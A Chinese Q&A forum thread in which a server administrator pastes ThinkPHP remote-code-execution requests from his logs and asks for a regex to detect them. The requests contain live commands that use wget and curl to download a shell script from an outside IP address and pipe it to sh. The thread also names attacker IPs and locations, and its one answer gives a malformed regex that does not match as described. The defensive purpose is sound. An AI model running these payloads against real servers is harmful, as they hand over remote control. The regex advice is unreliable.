安全：最近服务器被攻击了，求大家帮写一段正则

Question

如题，最近服务器被攻击了，检查发现很多这样的请求，我正则不好，求各路大神帮忙写段正则表达式，进行匹配

1、请求1：
/index.php?s=/Index/\x5Cthink\x5Capp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=wget%20-q%20-O%20-%2082.146.58.234/p2.sh|sh

2、请求2：
/index.php?s=/Index/\x5Cthink\x5Capp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=curl%2082.146.58.234/p2.sh|sh

3、请求3：
\x03\x00\x00/*\xE0\x00\x00\x00\x00\x00Cookie: mstshash=Administr

小弟在此谢过了。也在也顺便问候下山东威海2019年1月6日，IP地址为27.203.3.136，以及现在IP地址为180.97.172.9的江苏无锡用户家人安好。

主要匹配上述连接中只要包含function或exec字样即可。两个关键词是或（||）的关系，不是和（&&）的关系。

Answer 1

没人写，算了还是我自己写吧。把问题完成。
其实上述攻击主要针对的是thinkphp的远程代码执行漏洞进行的攻击。应对方法最起码是4种。
正则表达式：

\[function|exec|sh]$

剩下那个cookie没啥用，就不匹配了。

Answer 2

我也分析出来一大堆这样的请求，没搞懂是啥东西，谢谢解惑